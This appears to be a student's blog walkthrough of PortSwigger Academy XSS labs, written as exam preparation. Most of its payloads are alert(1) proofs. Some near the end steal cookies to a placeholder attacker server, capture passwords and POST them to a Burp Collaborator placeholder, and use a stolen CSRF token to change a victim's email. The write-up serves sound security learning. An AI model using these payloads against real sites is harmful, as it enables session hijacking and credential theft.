top of page

PortSwigger Academy - XSS Labs

  • Writer: Avraham Cohen
    Avraham Cohen
  • Jun 19, 2021
  • 4 min read

Updated: Jun 22, 2021

Studying for my eLearnSecurity eWPTX exam I decided to solve the XSS labs from PortSwigger Academy. I must say that these labs are not easy and you can gain a lot of knowledge.

Don't jump to the solution, try for yourself, if you are not able to get it in few hours then reverse engineer the payload.


Here is a list of the labs from Apprentice to Practitioner level:

(I'll keep the expert level for another time)


You can find the lab list at the following link


Payload: <script>alert(1);</script>


Research: Our search query is reflected in the value="" field

ree

Payload: " onclick="alert(1);" var x="


Research: Post a new comment in the forum and observe an injection is possible in the website field

Payload: " onclick="alert(1);


Research: We can inject a single quote, meaning we can modify the JS code.

Payload: ' ; alert(1);//


Research: Missing encoding capabilities in the Comment field.

Payload: <script>alert(1);</script>


Research: Inspecting the source element we can see it is possible to inject escaped code.

Payload: \\" \/> <script>alert(2);</script>


Research: The following line document.getElementById('searchMessage').innerHTML = query;

Adding an HTML code to a <span> tag will do the work.

Payload: <span/onmouseover=confirm(1)>X</span>


Research: Classic open redirect to XSS on the Back button.

Payload: https://<Lab-ID>.web-security-academy.net/feedback?returnPath=javascript:alert(document.cookie);


Research: Use the Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy (portswigger.net) to identify via BurpSuite intruder the allowed tags and attributes.

Payload: <iframe src="https://ac431fdc1f9a3be980ae0d2a00170089.web-security-academy.net/?search=%3Cbody%20onresize%3Dalert(document.cookie)%3E" onload=this.style.width='100%'>


Research: Use the Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy (portswigger.net) to identify via BurpSuite intruder the allowed tags.

Payload: <iframe src="https://ac731fac1f450685803a770700e500c8.web-security-academy.net/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x" onload=this.style.width='100%'>


Research:

Quick search in Google results in the following piece of code: https://stackoverflow.com/questions/27857073/svg-animations-onbegin-event-not-fired-on-ios

testing the code indeed firing an alert message. Now it is time to break it down and see if we can adjust it to be our payload. The <set> tag is not allowed. Going back to PortSwigger XSS cheatsheet we found that <animatetransform> is allowed. Replacing <set> with <animatetransform>.

Payload: <svg xmlns="http://www.w3.org/2000/svg"><title>On end test</title><circle r="50" cx="100" cy="100" style="fill: #F00"><animatetransform attributeName="fill" attributeType="CSS" onbegin='alert("onbegin")' to="#00F" begin="0s" dur="5s" /></circle></svg>


Research:

Open the source code and observe the following line:

ree

Payload: https://<Lab-ID>.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)


Research:

Trying to inject dummy data reflects in a Javascript variable:

ree

Let's close the <script> tag with a simple injection such as </script>

ree

Payload:</script><script>alert(1);</script>


Research: It is possible to use double escaping to inject malicious code. In this lab it is not enough to use \' it is required to close the statement like \'; and then it is possible to inject our payload.

Payload: \';alert(1)//


Research: While ' is encoded it is still possible to inject its HTML encode version &#39

Payload: https://www.xss.com&#39); alert(1); var x= (&#39


Research: The simple way to exploit template injection is by using the following pattern: ${...}.

Simple ${7*7} will evaluate into 49.

Payload: ${alert(1)}


Research: While the storeId is sent by POST it is still possible to send it by GET.

Payload: <select name=" "><script>alert(1);</script>


Research: I am not familiar with AngularJS so I've decided to use Google this time.

A simple search for XSS in AngularJS results with this.

Payload: {{constructor.constructor('alert(1)')()}}


Research:

I wasn't sure about the injection point so I had to take a quick look at the solution.

Trying to self call the searchResult function via https://<Lab-ID>.web-security-academy.net/search-results?search= 123 results with a valid JSON response.

We can see the backslash is not escaped so we can use this to inject our own malicious code.

https://<Lab-ID>.web-security-academy.net/search-results?search=\%22-alert(1)}//

Payload: \%22-alert(1);}//


Research: Open the blog page source code and copy the escapeHTML() function to JavaScript online compiler. Injecting multiple payloads we see that only the first <> pair is escaped but the second one is not.

Payload: <><img src=# onerror="alert(1);"/>


Exploiting cross-site scripting to steal cookies (verified in another platform).

Requirement: Burp Collaborator's default public server

Research: Open the blog page and see that there is no escaping or encoding on the comment.

Simple injection to steal cookies is possible with the img tag.

Payload: <img src="http://<hacker-web-server>?cookie='document.cookie'' />


Requirement: Burp Collaborator's default public server

Research:

I wasn't sure about the injection point so I had to take a quick look at the solution.

The initial idea I had is to inject a keylogger using BeEF or XSS into a CSRF attack.

Today I learned something new.

Payload:

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Research: This is a two-stage exploit. We have XSS in the comment field in the blog but the CSRF weakness exists on the my-account page. To exploit this vulnerability we first need to execute a GET request to the my-account page, then to read the CSRF token from the response, and finally to execute our malicious request.

Payload:


<script>
  // Accessing the /my-account page to be able to steal the CSRF token.
  var req = new XMLHttpRequest();
  req.onload = handleResponse;
  req.open('get','/my-account',true);
  req.send();

 // Stealing the CSRF token and performing malicious request.
 function handleResponse() {
   var token = document.getElementsByName('csrf')[0].value
   var changeReq = new XMLHttpRequest();
   changeReq.open('post', '/my-account/change-email', true);
   changeReq.send('csrf='+token+'&email=hacked@hacked.com')
  };
</script>

I skipped this lab as it far too advanced at the this time.


Comments


bottom of page